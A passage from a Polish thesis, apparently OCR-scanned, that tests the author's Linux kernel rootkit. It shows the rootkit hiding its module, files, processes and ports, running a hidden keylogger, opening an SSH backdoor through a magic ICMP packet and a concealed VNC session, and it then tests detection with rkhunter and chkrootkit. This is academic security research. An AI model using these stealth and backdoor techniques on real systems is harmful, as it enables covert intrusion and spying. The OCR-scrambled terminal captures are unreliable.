Jak wida¢ na rysunku 5, modut jadra jest tadowany w prawidlowy sposob wraz z
rozruchem systemu (nie byty dokonywane zadne dodatkowe operacje, modul zostat

zatadowany w 31 sekundzie pracy systemu), niec wywotuje btedu krytycznego jadra.
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+ | X ..testvirtual-machine: -‘

x test@test-virtual-machine: ~ .

test@test-virtual-machine:~$%

test@test-virtual-machine:~% lsmod | grep rooty

Rysunek 6. Obraz ekranu prezentujgcy dziatanie funkcji ukrywania modutu.

Na rysunku 6 mozna zauwazy¢ ze modul nie jest widoczny na liscie zaladowa-

nych modutow jadra systemu.

6.2 Ukrywanie plikow, folderow i procesow

Kolejnym przeprowadzanym testem byt test funkcji ukrywania plikow, katalo-

gbw oraz procesow. W przypadku tego testu sprawdzane bedzie to czy rzeczywiscie

pliki, katalogi czy procesy nie sg widoczne dla systemu operacyjnego. W celu ukrycia

wybranych plikow, katalogow 1 procesow uzyto interfejsu IOCTL zaimplementowa-

nego w rootkicie.

X test@test-virtual-machine: / ,

L[ X ...test-virtual-machine: /
test@test-virtual-machine:~$% cd /
test@test-virtual-machine:/$ 1s -1
razem 216

-TW-————— 1 root root 119372 sty
drwxr-xr-x 2 root root 4096 sty
drwxr-xr-x 3 root root 4096 sty
drwxr-xr-x 2 root root 4096 maj
drwxr-xr-x 15 root root 4220 lut
drwxr-xr-x 139 root root 12288 lut
drwxr-xr-x 3 root root 4096 sty
Irwxrwxrwx 1 root root 36 sty
0-74-generic-pae

Lrwxrwxrwx 1 root root 37 sty
-3.2.0-72-generic-pae

drwxr-xr-x 23 root root 4096 sty
Irwxrwxrwx 1 root root 34 sty
gnu/libnss3.so

drwx------ 2 root root 16384 sty
drwxr-xr-x 4 root root 4096 sty
drwxr-xr-x 2 root root 4096 sty
drwxr-xr-x 3 root root 4096 maj
dr-xr-xr-x 200 root root 0 lut
drwx------ 11 root root 4096 sty
drwxr-xr-x 22 root root 800 lut
drwxr-xr-x 2 root root 12288 sty
drwxr-xr-x 2 root root 4096 mar
drwxr-xr-x 2 root root 4096 lip
drwxr-xr-x 13 root root 0 lut
drwxrwxrwt 9 root root 4096 lut
drwxr-xr-x 10 root root 4096 lip
drwxr-xr-x 12 root root 4096 sty
Irwxrwxrwx 1 root root 33 sty
eneric-pae
test@test-virtual-machine:/$

21
29
29

29
29

29

29
29

29

29

29

29

29

23

23

29
29

21:
00:
02:

33
50
46

2014

18:
18:
0z2:
02:

02:

00:
02:

0z2:
02:
02:

29
39
453
46

43

50
43

43
18
18

2014

18:
0z2:
18:
02:

28
46
40
46

2012
2013

18:
18:

28
45

2013

0z2:
02:

18
46

all
bin
boot
cdrom
dev
etc
home
-> boot/initrd.img-3.2.

-> /boot/initrd.img

lib
-> Jfusr/lib/i1386-1linux-

lost+found
media
mnt
opt
proc
root
run
shin
selinux
sSrv
iii
usr
var
-> boot/vmlinuz-3.2.0-74-g

Rysunek 7. Obraz ekranu przedstawiajgcy zawartos¢ katalogu glownego dysku
przed procedurq ukrywania plikow
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Na powyzszym obrazie ekranu (rysunek 7) widoczne sg wszystkie pliki 1 kata-
logi w katalogu gtéwnym dysku. Nalezy zwroci¢ uwage ze katalogi usr, home oraz

lib sg widoczne.

test@test-virtual-machine: ~

4+ | x ._.test-virtual-machine; ~

test@test-virtual-machine:~% ioctl
Usage: iloctl CMD [ARG]

CMD Description:

0 Give root privilages

1 Hide process with pid [ARG]

2 Unhide process with pid [ARG]

3 Hide TCP 4 port [ARG]

4 Unhide TCP 4 port [ARG]

5 Hide UDPv4 port [ARG]

5] Unhide UDPv4 port [ARG]

7 Hide TCPv6 port [ARG]

8 Unhide TCPv6 port [ARG]

e Hide UDPv4 port [ARG]

10 Unhide UDPv6E port [ARG]

11 Hide file/directory named [ARG]
12 Unhide file/directory named [ARG]
100 Empty cmd

test@test-virtual-machine:~% ioctl 11 usr
Hiding file/dir usr
test@test-virtual-machine:~% ioctl 11 home
Hiding file/dir home
test@test-virtual-machine:~% i1octl 11 lib
Hiding file/dir 1lib
test@test-virtual-machine:~$%

Rysunek 8. Obraz ekranu prezentujgcy wywotanie funkcji ukrywania plikow

Na rysunku 8 przedstawiony zostal proces ukrywania katalogow usr, home oraz

lib przy uzyciu klienta IOCTL.
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razem 204

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
Lrwxrwxrwx

Lrwxrwxrwx

Lrwxrwxrwx

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
dr-xr-xr-x

drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxrwxrwt
drwxr-xr-x
Lrwxrwxrwx
eneric-pae

gnu/libnss3.so

+ | x ..test-virtual-machine: /

test@test-virtual-machine: /% ls

0-74-generic-pae

test@test-virtual-machine: / ¥

-3.2.0-72-generic-pae

1 root root 119372
2 root root 4096
3 root root 4096
2 root root 4096
15 root root 4220
139 root root 12288
1 root root 36
1 root root 37
1 root root 34
2 root root 16384
4 root root 4096
2 root root 4096
3 root root 4096
201 root root 0
11 root root 4096
22 root root 800
2 root root 12288
2 root root 4096
2 root root 4096
13 root root 0
9 root root 4096
12 root root 4096
1 root root 33

test@test-virtual-machine: /%

-1

sty
sty
sty
maj
lut
lut
sty

sty
sty

sty
sty
sty
maj
lut
sty
lut
sty
mar
lip
lut
lut
sty
sty

21
29
29

29

29

29

29

29

29

29

29

23

29
29

21:
00:
02:

33
50
46

2014

18:
18:
02:

02:

02:

0z2:

02:
02:

29
39
46

43

43

43

18
18

2014

18:
02:
18:
02:

28
46
40
46

2012
2013

18:
18:
02:
02:

28
45
18
46

all
bin
boot
cdrom
dev
etc
-> boot/initrd.img-3.2.

-> fboot/initrd.img
-> fusr/lib/i386-linux-

lost+found
media
mnt
opt
proc
root
run
sbin
selinux
sSrv
iii
var
-> boot/wmlinuz-2.2.0-74-g

chomieniu procedury ukrywania plikow
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Rysunek 9. Obraz ekranu prezentujgcy zawartos¢ katalogu gtownego dysku po uru-

Ostatecznie, na rysunku 9 mozna zaobserwowac iz wcze$niej wspomniane ka-

+ | x ..testvirtual-machine: =|

talogi usr, home oraz lib nie sg widziane przez system.

test@test-virtual-machine: ~

test@test-virtual-machine:~% ps -A | grep chrome

Jjey2 ?
7684
7685
7689
7692
7712
7971
8047
8206 7

=) omd e g ey o] o]

00:00:
00:00:
00:00:
00:00:
00:00:
00:00:
00:00:
00:00:
00:00:

02 chrome
00 chrome-sandbox
00 chrome
00 chrome-sandbox
00 chrome
00 chrome
00 chrome
00 chrome
01 chrome

test@test-virtual-machine:~%

Rysunek 10. Obraz ekranu przedstawiajgcy liste uruchomionych procesow
przeglgdarki Chrome
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Do przetestowania funkcjonalno$ci ukrywania proceséw wykorzystano aplika-
cj¢ przegladarki internetowej Chrome. Przegladarka ta tworzy dla kazdej otwartej
karty czy zainstalowanego rozszerzenia osobny proces, z tego powodu jest tych pro-

cesOw tak duzo (rysunek 10).

o

+ | x ..test-virtual-machine: ﬂ

test@test-virtual-machine:~% ioctl 1 7672
Hiding PID 7672
test@test-virtual-machine:~% ioctl 1 7684
Hiding PID 7684
test@test-virtual-machine:~% ioctl 1 7685
Hiding PID 7685
test@test-virtual-machine:~% ioctl 1 7689
Hiding PID 7689
test@test-virtual-machine:~% ioctl 1 7692
Hiding PID 7692
test@test-virtual-machine:~% ioctl 1 7712
Hiding PID 7712
test@test-virtual-machine:~% ioctl 1 7971
Hiding PID 7971
test@test-virtual-machine:~% ioctl 1 8047
Hiding PID 8047
test@test-virtual-machine:~% ioctl 1 8206
Hiding PID 8206
test@test-virtual-machine:~%

test@test-virtual-machine: ~ "

Rysunek 11. Obraz ekranu przedstawiajqgcy procedure ukrywania procesow
przeglgdarki Chrome

Do procedury ukrywania proceséw rowniez uzyto interfejsu IOCTL (rysunek 11).

o

+ | x .. .testvirtual-machine: ﬂ

test@test-virtual-machine:~% ps -A | grep chrome
test@test-virtual-machine:~$%

test@test-virtual-machine: ~ ¥

Rysunek 12. Obraz ekranu prezentujgcy liste uruchomionych procesow prze-
glgdarki Chrome po wykonaniu procedury ukrywania procesow

Na rysunku 12 przedstawiona zostata lista proceséw przegladarki Chrome po
wykonaniu procedury ukrywania proceséw. Jak mozna zauwazy¢, zaden proces nie

zostat znaleziony.
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Nastepnym przeprowadzanym testem byt test funkcji ukrywania potaczen siecio-

wym. Ponownie uzyto interfejsu IOCTL do kontroli pracy rootkita.

test@test-virtual-machine: /
L[ b4 ...test-virtual-machine:fl
Active Internet connections (servers and established)
Proto Recv-0Q Send-Q Local Address Foreign Address State
tcp 0 0127.0.0.1:53 0.0.0.0:% LISTEN
tcp 0 0 127.0.0.1:6231 0.0.0.0:% LISTEN
tcp 1 0 192.168.233.154:58163 10.1.154.104: 80 CLOSE_WAIT
tcp 1 0 192.168.233.154:58160 10.1.154.104:80 CLOSE_WAIT
tcp 1 0 192.168.233.154:40391 193.105.35.54: 80 CLOSE_WAIT
tcp 1 0 192.168.233.154:58159 10.1.154.104:80 CLOSE_WAIT
tcp 0 0 192.168.233.154:55511 213.189.45.40:443 ESTABLISHED
tcp 0 0 192.168.233.154:38932 213.189.48.243:443 ESTABLISHED
tcp 0 0 192.168.233.154:38931 213.189.48.243:443 ESTABLISHED
tcp 0 0 192.168.233.154:49072 213.189.45.34:443 ESTABLISHED
tcp 0 0 192.168.233.154:57847 173.194.112.237:443 ESTABLISHED
tcp 1 0 192.168.233.154:58158 10.1.154.104:80 CLOSE_WAIT
tcp 380 0 192.168.233.154:46774 195.149.238.237:443 ESTABLISHED
tcp 0 0 192.168.233.154:36601 173.194.116.186:443 ESTABLISHED
tcp 380 0 192.168.233.154:60513 173.194.112.28:443 ESTABLISHED
tcp 0 0 192.168.233.154:48410 173.194.112.154:443 ESTABLISHED
tcp 380 0 192.168.233.154:46772 195.149.238.237:443 ESTABLISHED
tcp 0 0 192.168.233.154:44227 195.187.242.76:443 ESTABLISHED
tcp 0 0 192.168.233.154:54067 74.125.136.94:443 ESTABLISHED
tcp 0 0 192.168.233.154:38930 213.189.48.243:443 ESTABLISHED
tcp 1 0 192.168.233.154:58155 10.1.154.104:80 CLOSE_WAIT
tcp 1 0 192.168.233.154:58157 10.1.154.104:80 CLOSE_WAIT
tcp 1 0 192.168.233.154:58161 10.1.154.104:80 CLOSE_WAIT
tcp 0 0 192.168.233.154:44224 195.187.242.76:443 ESTABLISHED
tcp 1 0 192.168.233.154:58156 10.1.154.104:80 CLOSE_WAIT
tcp 0 0 192.168.233.154:55616 74.125.136.95:443 ESTABLISHED
tcp 0 0 192.168.233.154:44226 195.187.242.76:443 ESTABLISHED
tcp 1 0 192.168.233.154:58162 10.1.154.104:80 CLOSE_WAIT
tcp 0 0 192.168.233.154:44225 195.187.242.76:443 ESTABLISHED
tcp 0 0 192.168.233.154:60403 195.149.238.230:443 ESTABLISHED
tcp 1 0 192.168.233.154:34269 91.189.89.144:80 CLOSE_WAIT
tcp 0 0 192.168.233.154:48411 173.194.112.124:443 ESTABLISHED
tcp 0 0 192.168.233.154:50617 213.189.45.49:443 ESTABLISHED
tcp 0 0 192.168.233.154:58377 213.189.45.39:443 ESTABLISHED
tcp 380 0 192.168.233.154:46773 195.149.238.237:443 ESTABLISHED
tcp 380 0 192.168.233.154:48397 173.194.112.124:443 ESTABLISHED
tcp 0 0 192.168.233.154:600402 195.149.238.230:443 ESTABLISHED
tcp 380 0 192.168.233.154:46775 195.149.238.237:443 ESTABLISHED
tcpé 0 0 ::1:631 HH LISTEN
test@test-virtual-machine: /%

Rysunek 13. Obraz ekranu prezentujgcy liste otwartych polgczen sieciowych
przed procedurq ukrywania potgczen sieciowych

W systemie otwartych bylo kilka potagczen TCP na porcie 80 oraz 443, ktére w
nastepnym kroku zostang ukryte (rysunek 13).
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test@test-virtual-machine; ~

+ | x ..test-virtual-machine; ~

test@test-virtual-machine:~% ioctl
Jsage: loctl CMD [ARG]
CMD Description:

Give root privilages

Hide process with pid [ARG]
Unhide process with pid [ARG]
Hide TCP 4 port [ARG]

Unhide TCP 4 port [ARG]

Hide UDPwv4 port [ARG]

Unhide UDPw4 port [ARG]

Hide TCPvE port [ARG]

Unhide TCPw6 port [ARG]

00 =) O LA P ) R o= D

e Hide UDPv4 port [ARG]

10 Unhide UDPw& port [ARG]

11 Hide file/directory named [ARG]
12 Unhide file/directory named [ARG]
100 Empty cmd

test@test-virtual-machine:~% ioctl 3 80
Hiding TCPw4 port 80
test@test-virtual-machine:~% ioctl 3 443
Hdiding TCPw4 port 443
test@test-virtual-machine:~%

Rysunek 14. Obraz ekranu przedstawiajqcy procedure ukrywania potgczen
sieciowych TCP IPv4 na portach 80 i 443

Ponownie uzyto interfejsu IOCTL do ukrycia potaczen sieciowych TCP IPv4
na portach 80 i 443 (rysunek 14).

»

+ | x .._test-\.rir'tual-machine:fl

test@test-virtual-machine: /% netstat -nat
4ctive Internet connections (serwvers and established)

test@test-virtual-machine: / "

Proto Recv-0Q Send-0 Local Address Foreign Address State
tcp 0 0 127.0.0.1:53 0.0.0.0:% LISTEN
tcp 0 0 127.0.0.1:631 0.0.0.0:% LISTEN
tcpé 0 0 ::1:631 TiE LISTEN

test@test-virtual-machine: /%

Rysunek 15. Obraz ekranu przedstawiajqcy liste aktywnych polgczen siecio-
wych po uruchomieniu procedury ukrywania potgczen sieciowych

Potaczenia sieciowe TCP zwigzane z portem 80 i 443 zostaty ukryte (rysunek
15) i nie sg widoczne przez system. Postepujgc analogicznie mozliwe jest ukrycie
kazdego potaczenia sieciowego bez wzgledu na numer portu, rodzaj potaczenia (TCP

czy UDP) oraz sposéb adresowania (IPv4 czy IPvo6).
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6.4 Podstuch klawiatury w czasie rzeczywistym

Kolejnym przeprowadzanym testem byt test funkcjonalnosci podstuchu naci-
$nietych klawiszy na klawiaturze (ang. keylogger). Funkcja ta uruchamiana jest au-
tomatycznie w momencie tadowania modutu rootkita do pamieci. Plik dziennika wci-
$nietych klawiszy znajduje si¢ w ukrytym pliku /.keylog, do ktoérego dostep ma jedy-
nie uzytkownik z prawami administratora oraz zdajacy sobie sprawe z tego, ze ten

plik rzeczywiscie istnieje gdyz jest on niewidoczny.

test@test-virtual-machine: /

+ | % .. .test-virtual-machine: f'|

test@test-virtual-machine:/$ sudo tail -c 40 /.keylog
ar<ENTER=sudo tail -c 40 /.keylog<ENTER>test@test-virtual-machine:/$

test@test-virtual-machine: /% echo "TEST KEYLOGGERA... 1 2 3 ..."
TEST KEYLOGGERA... 1 2 3 ...

test@test-virtual-machine:/$ sudo tail -c 40 /.keylog
FT>KEYLOGGERA... 1 2 3 ...<LEFT="<ENTER>test@test-virtual-machine:/%

Rysunek 16. Obraz ekranu prezentujgcy dziatanie funkcji keyloggera

Powyzszy obraz ekranu (rysunek 16) pokazuje to, iz podstuch dziata w prawi-
dlowy sposob, rejestrowane sg wszystkie wceisnigcia przyciskow klawiatury: zardwno
alfanumeryczne jak 1 klawisze strzatek czy klawisze funkcyjne. Wyswietlona zostata
zawarto$¢ dziennika, nastepnie wcisnigto szereg réznych klawiszy. Plik dziennika

zostal wyswietlony ponownie a wcisnigte klawisze zarejestrowane.

6.5 Serwer SSH

Nastepnym etapem testowania byto sprawdzenie poprawnosci funkcjonowania
serwera SSH. Serwer SSH uruchamiany jest dopiero po otrzymaniu specjalnie spre-
parowanego pakietu ICMP ECHO, dlatego w tym przypadku zostata uzyta druga ma-
szyna, ktora taki pakiet bedzie wysylata. Nastepnie z tej samej zdalnej maszyny wy-
konana zostanie proba otwarcia zdalnej sesji terminalowej SSH. Sprawdzone zosta-
nie réwniez to czy proces serwera SSH oraz wszystkie procesy uruchamiane w ra-

mach sesji terminalowej sg ukrywane z listy aktywnych procesow.
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Rysunek 17. Obraz ekranu prezentujqcy wywolanie skryptu ping.py

x test@test-virtual-machine: / w

4+ | X ..test-virtual-machine; /

1498.297314] rooty: IOCTL->Hiding PID 15490
1498.297343] rooty: IOCTL->Hiding PID 12064
1503.120387] rooty: IOCTL->Hiding PID 15809
1503.120434] rooty: IOCTL->Hiding PID 12068
1507.206213] rooty: IOCTL->Hiding PID 15810
1507.206259] rooty: IOCTL-=Hiding PID 12075
2175.139434] rooty: IOCTL->Hiding PID 16994
2190.698893] rooty: IOCTL->Hiding PID 16995
2190.698925] rooty: IOCTL->Hiding TCPv4 port 80
2198.398273] rooty: IOCTL->Hiding PID 16996
2198.398303] rooty: IOCTL->Hiding TCPw4 port 443
2945.470887] rooty: ICMP packet: payload_size=4, magic=deadcOde, ip=0, port=0
2945.470914] rooty: Starting SSHD server
2945.486281] rooty: SSHD pid 17121
est@test-virtual-machine:/$

el il e el e e Res Bl

Rysunek 18. Obraz ekranu prezentujgcy zdalne uruchomienie serwera SSH
przy pomocy spreparowanego pakietu ICMP ECHO

x test@test-virtual-machine: / »

+ | x ...test-vir‘tual-machine:f]

test@test-virtual-machine:/$ ps -A | grep sshd
test@test-virtual-machine: /%

Rysunek 19. Obraz ekranu przedstawiajgcy liste uruchomionych procesow
serwera SSH

x test@test-virtual-machine: / 5

+ | x ..,test-vir'tual-machine:f}

test@test-virtual-machine: /% netstat -nat
Active Internet connections (servers and established)

Proto Recv-0Q Send-Q Local Address Foreign Address State
tcp 0 0127.0.0.1:53 0.0.0.0:% LISTEN
tcp 0 0 127.0.0.1:631 0.0.0.0:% LISTEN
tcp6 0 0 ::1:631 HH LISTEN

test@test-virtual-machine: /%

Rysunek 20. Lista aksywnych polgczen sieciowych
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Wystany pakiet (rysunek 17) zostat prawidtowo przechwycony i ustuga serwera
SSH zostata uruchomiona (rysunek 18). Nie jest ona widoczna na liScie procesoOw

(rysunek 19), ani nie sg widoczne polgczenia sieciowe na porcie 22 (rysunek 20).

EP 192.168.233.154 - PuTTY

Rysunek 21. Obraz ekranu prezentujgcy udang probe potgczenia

Dokonano proby potaczenia przy uzyciu loginu i hasta zaszytego w konfiguracji

serwera SSH, sesja terminalowa uzytkownika root nie jest widoczna (rysunek 21).

6.6 Serwer VNC

Posiadajgc aktywnag juz sesje terminalowg nic nie stalo na przeszkodzie, aby
uruchomi¢ zdalnie serwer VNC. Aby tego dokona¢ nalezato sprawdzi¢, jaki uzyt-
kownik uruchomit serwer wyswietlania obrazu X.Org (X11) a nastepnie przy uzyciu

poswiadczen tego uzytkownika uruchomi¢ serwer VNC.



@ test@test-virtual-machine: / = =

Rysunek 22. Obraz ekranu przedstawiajgcy procedure uruchamiania serwera
VNC

Proces serwera Xorg zostat uruchomiony na sesji terminalowej tty7. Domyslnie
skonfigurowany serwer X11 jest uruchamiany na tej wlasnie sesji terminalowe;j stad
wiadomo, ze mamy do czynienia ze standardowa konfiguracjg. W nastepnym kroku
nalezalo sprawdzi¢, jaki uzytkownik jest zalogowany na tej sesji terminalowej. Oka-
zalo si¢, ze uzytkownikiem tym jest test. W kolejnym kroku logujemy si¢ na konto
tego uzytkownika. Jak widac¢ nie byto potrzebne podawanie hasta uzytkownika. Osta-
tecznie mozna byto uruchomi¢ serwer VNC. Opisany schemat postepowania zostat

przedstawiony na rysunku 22.
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Rysunek 23. Obraz ekranu przedstawiajgcy udane potgczenie VNC przy uzyciu

programu VNC Viewer PLUS

test@test-virtual-machine: /

+ | X ..test-virtual-machine: :'"

test@test-virtual-machine:/$ ps -A | grep vncd
test@test-virtual-machine: /%

Rysunek 24. Obraz ekranu przedstawiajgcy liste aktywnych procesow serwera

VNC

Jak wida¢ na rysunku 23, bez problemu zestawiono potgczenie protokotu VNC.

Dodatkowo proces serwera VNC nie byl widoczny dla systemu (rysunek 24) ze

wzgledu na to, iz wyslat zadanie IOCTL ukrycia wtasnego procesu.

6.7 Podsumowanie testow

Wszystkie przeprowadzane testy wykazaty poprawne funkcjonowanie zaimple-

mentowanych mechanizmow. Interfejs komunikacyjny IOCTL byt wykorzystywany

w wiekszos$ci testow 1 dzialal bez zarzutow. Zaprojektowane oprogramowanie spet-

nito wszystkie zatozenia projektowe.
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7. Wykrywanie mechanizméw typu rootkit w

systemach Linux

Ze wzgledu na specyfike rootkitow ich wykrywanie to bardzo skomplikowany
proces. Wigkszos¢ rootkitéw dziala na poziomie jadra systemu. Dzigki bezposred-
niemu dostepowi do jadra moga one modyfikowa¢ wywolania systemowe odpowie-
dzialne za dostep do pamigci operacyjnej badz pamieci dyskowej uniemozliwiajac
programom skanujacym jakakolwiek detekcje. Z tego powodu czgsto programy ska-

nujgce zachowuja si¢ w sposob podobny do rootkitow.

Innym sposobem detekcji rootkitdéw jest skanowanie pamieci dyskowej ma-
szyny przy uzyciu innej maszyny, co do ktorej jest pewnos¢, ze nie jest zainfekowana.
Metoda taka nie jest jednak skuteczna w przypadku egzotycznych czy Swiezych

rootkitéw, jako iz nie beda znane ich sygnatury.

Metody weryfikacji spojnosci plikdw binarnych kluczowych czeéci systemu
moga by¢ skuteczng metoda w przypadku rootkitow modyfikujacych te pliki. Moz-
liwe sg jednak fatszywe alarmy ze wzgledu na to, Ze istnieje wiele wersji tych plikow

na rézne platformy sprzg¢towe.

Dwoma najpopularniejszymi skanerami rootkitow na platforme systemows Li-
nux s3: Rootkit Hunter (rkhunter) oraz chkrootkit. Oba programy s3a powszechnie
dostepne 1 darmowe 1 zostang wykorzystane do proby wykrycia zaimplementowa-

nego rootkita[8].

7.1 Rootkit Hunter

Rootkit Hunter jest bardzo zaawansowanym narzedziem stuzacym do detekcji
rootkitow. Ze wzgledu na swojg duza skutecznos¢, cigglte wsparcie tworcow oraz
mozliwo$¢ uruchamiania skanowania, jako zadanie zaplanowane poprzez mecha-
nizm harmonogramu systemu Linux (cron) jest programem popularnym i cze¢sto in-

stalowanym na serwerach wymagajacych wysokiego poziomu bezpieczenstwa.

Program oferuje szerokie mozliwos$ci wyboru metod skanowania poczawszy od

wyliczania sum kontrolnych dla plikoéw binarnych i porownywania ich z wersjami
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pobranymi z repozytorium oprogramowania poprzez opcje skanowania katalogéw
specjalnych systemu Linux, sprawdzania dziatajacych ustug w systemie i ich konfi-
guracji na detekcji wykorzystujacej heurystyki i sygnatury znanych rootkitéw kon-
czac. Po kazdorazowym uruchomieniu procesu skanowania tworzony jest szczego-
lowy raport zawierajacy informacje o wszystkich przeprowadzonych testach, ich wy-

nikach, ewentualnych ostrzezeniach, btgdach czy infekcjach.

test@test-virtual-machine: ~

+ | X ..test-virtual-machine: ~

System checks summary

File properties checks...
Files checked: 133
Suspect files: 1

Rootkit checks...
Rootkits checked : 244

Possible rootkits: 0

Applications checks...
All checks skipped

The system checks took: 41 seconds
All results have been written to the log file (/var/log/rkhunter.log)

One or more warnings hawve been found while checking the system.
Please check the log file (/var/log/rkhunter.log)

test@test-virtual-machine:~$% |

Rysunek 25. Obraz ekranu prezentujgcy wyniki skanowania
Na systemie zainfekowanym autorskim rootkitem wykonano skanowanie przy
uzyciu programu rkhunter (rysunek 25). Po przeanalizowaniu pliku dziennika stwier-
dzono, ze skaner nie wykryt zadnych nieprawidlowosci zwigzanych z rootkitem.
Wszystkie ostrzezenia dotyczyly innych komponentow systemu i moga zostaé

uznane za nieistotne.

7.2 Chkrootkit

Kolejnym bardzo popularnym programem skanujgcym system pod katem in-
fekcji rootkitami jest program chkrootkit. Program ten z pozoru wydaje si¢ by¢ bar-

dzo prostym jednakze wiaczajac tryb ekspercki uzyskuje si¢ dostep do wielu funkcji
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i raportow nie dostgpnych w trybie normalnym. Program ten sktada si¢ z wielu mniej-

szych komponentéw odpowiedzialnych za poszczegdlne testy takie jak:

e Test integralnosci plikow binarnych
e Test konfiguracji interfejsow sieciowych
o Test zawartosci dziennikéw systemowych

e Test na obecno$c¢ rootkitow w postaci fadowalnych modutéw jadra

Program ten jest w dalszym ciagu rozwijany, posiada bogata dokumentacje 1
wiele pozytywnych recenzji. Ten program réwniez udostepnia mozliwo$¢ wspot-

pracy z harmonogramem zadan zaplanowanych systemu Linux.

At

+ | % ..test-virtual-machine: =|

test@test-virtual-machine: ~ *

Searching for common ssh-scanners default files... nothing found
Searching for suspect PHP files... nothing found
Searching for anomalies in shell history files... nothing found
Checking “asp'... not infected
Checking “bindshell'... not infected
Checking "lkm"... You have 2 proc
ess hidden for readdir command

You have 2 process hidden for ps command

chkproc: Warning: Possible LKM Trojan installed

chkdirs: nothing detected

Checking “rexedcs'... not found

Checking “sniffer'... lo: not promisc and
no packet sniffer sockets

eth0: PACKET SNIFFER(/sbin/dhclient[1316])

Checking "wS5808'... not infected
Checking “wted'... chkwtmp: nothing de
leted

Checking “scalper'... not infected
Checking “slapper’... not infected
Checking "z2'... user test deleted o
r never logged from lastlog!

Checking “chkutmp'... chkutmp: nothing de
leted

Checking "OSX_RSPLUG'... not infected

test@test-virtual-machine:~$% |

Rysunek 26. Obraz ekranu prezentujgcy raport zwykty programu chkrootkit

Program chkrootkit niestety byt w stanie wykry¢ ingerencje rootkita w strukture
systemu. Juz w raporcie zwyklym (rysunek 26) pojawila si¢ informacja o ukrytych
plikach. Po analizie raportu pelnego ustalono rowniez, ze wykryte zostaly ukryte pro-

cesy oraz zdalna sesja SSH.
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8. Podsumowanie

Mechanizmy typu rootkit swojg historig si¢gaja juz lat 80 ubieglego wieku jed-
nak najwicksza popularnos¢ zyskaty z poczatkiem XX wieku, kiedy to standardowe
rozwigzania jak wirusy czy Konie trojanskie przestaty by¢ wystarczajgco skuteczne z
powodu bardzo szybkiego rozwoju oprogramowania antywirusowego oraz konstruk-
cji systemoéw operacyjnych. Obecnie rootkity bywaja czesto punktem wejscia oraz

dodatkowg ostong dla innego rodzaju szkodliwego oprogramowania.

Praca ta miata na celu przedstawi¢ mechanizm funkcjonowania rootkitow w
systemach Linux. Przedstawiono metody wykorzystywane przez rootkity do ukrywa-
nia swojej egzystencji oraz te, ktore pozwalaja im uzyska¢ nieautoryzowany dostep

do uprawnien administratora systemu.

W ramach czg$ci badawczej niniejszej pracy przedstawiono implementacje wia-
snego rozwigzania typu rootkit. Proces implementacji wymagatl od autora zapoznania
si¢ z ogdlnym mechanizmem funkcjonowania jadra systemu oraz szczegétowym za-
poznaniem si¢ z sposobem dzialania wybranych jego elementow. Wymagana byta
analiza sposobu, w jaki system operuje na systemie plikow oraz jak zrealizowany
zostal mechanizm zarzadzania procesami. Nalezato rowniez dokona¢ analizy dziata-
nia poszczeg6lnych programoéw stuzacych do administracji 1 zarzadzania systemem.
Zapoznano si¢ z juz istniejagcymi rozwigzaniami, znaleziono ich mocne 1 stabe

punkty.

Wiedze zdobyta w procesie analizy wykorzystano do zbudowania rootkita spet-
niajacego postawione zatozenia projektowe oraz takiego, ktory zapewni mozliwie
najmniejszy stopien wykrywalnosci na platformach systemowych Linux uzywanych

obecnie.

Na podstawie przeprowadzonych testow mozna stwierdzi¢, ze zatozenia projek-
towe zostaly w pelni spetnione. Rootkit osiggnat zadowalajacy poziom ukrycia. Jego

odnalezienie jest mozliwe jedynie w przypadku, gdy osoba szukajgca wie, czego Szu-
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ka¢, dysponuje bardzo szerokg wiedzg w dziedzinie rootkitow 1 funkcjonowania sys-
temu oraz uzyje wszystkich funkcji, jakie udostgpniajg programy skanujace systemy

pod katem obecnosci rootkitow.



58

Bibliografia

1.

10.

11.

12.

13.

14.

15.

16.

Hoglund G., Butler J., Rootkits: Subverting the Windows Kernel, Addison-
Wesley Professional, 2005

Blunden B., The Rootkit Arsenal: Escape and Evasion: Escape and Evasion in
the Dark Corners of the System, Jones & Bartlett Learning, 2009

McClure S., Scambray J., Kurtz G., Hacking Exposed: Network Security Se-
crets and Solutions, Sixth Edition, McGraw-Hill Osborne Media, 2009
Phrack Magazine Issue #58, http://phrack.org/issues/58/7.html

Rubini A., Corbet J., Linux Device Drivers, 2001

Rubini A., Kernel System Calls, http://www.linux.it/~ru-
bini/docs/ksys/ksys.html

Zhang S., Introducing Linux Kernel Symbols, https://onebit-
bug.me/2011/03/04/introducing-linux-kernel-symbols/

Keys B., What You Need to Know About Linux Rootkits, http://www.linux-
security.com/content/view/154709/171/

Bunten A., UNIX and Linux based Kernel Rootkits, 2004, http://www.kernel-
hacking.com/rodrigo/docs/StMichael/BuntenSlides.pdf

McNally C., maK _it: Linux Rootkit Development & Investigation with Sys-
temtap, 2014, http://r00tkit.me/makK _it-Linux-Rootkit.pdf

Case A., MoVP 1.5 KBeast Rootkit, Detecting Hidden Modules, and sysfs,
2012, http://volatility-labs.blogspot.com/2012/09/movp-15-kbeast-rootkit-de-
tecting-hidden.html

Borland T., Modern Linux Rootkits 101, 2013, http://turbochaos.blog-
spot.com/2013/09/linux-rootkits-101-1-of-3.html

Borland T., Writing Modern Linux Rootkits 201 — VFS, 2013, http://tur-
bochaos.blogspot.com/2013/10/writing-linux-rootkits-201-23.html

Borland T., Modern Linux Rootkits 301 - Bypassing modules_disabled secu-
rity, 2013, http://turbochaos.blogspot.com/2013/10/writing-linux-rootkits-
301 31.html

Miller T., Analysis of the KNARK Rootkit, 2001, http://www.ouah.org/to-
byknark.html

Rootkit Analytics, http://www.rootkitanalytics.com/kernelland/

Dostep do wszystkich stron internetowych sprawdzony dnia 27.01.2014.



59

Wykaz rysunkow

Rysunek 1. Schemat procesu tadowania i usuwania LKM..........ccoccevvviniiiiieninnnnnns 11
Rysunek 2. Przyktad dziatania mechanizmu wywotan systemowych [6] ............... 13
Rysunek 3. Schemat podmiany wywotania systemowego przez rootkit.................. 14
RYSUNEK 4. Projekt SYSTEMU ......coiiiiiiiiiieiiesiiesie ettt 18

Rysunek 5. Obraz ekranu prezentujacy dziennik jadra systemu po zatadowaniu
TNOAUIL L et e e nes 41
Rysunek 6. Obraz ekranu prezentujgcy dziatanie funkcji ukrywania modutu. ....... 42
Rysunek 7. Obraz ekranu przedstawiajacy zawartos$¢ katalogu gtdownego dysku przed
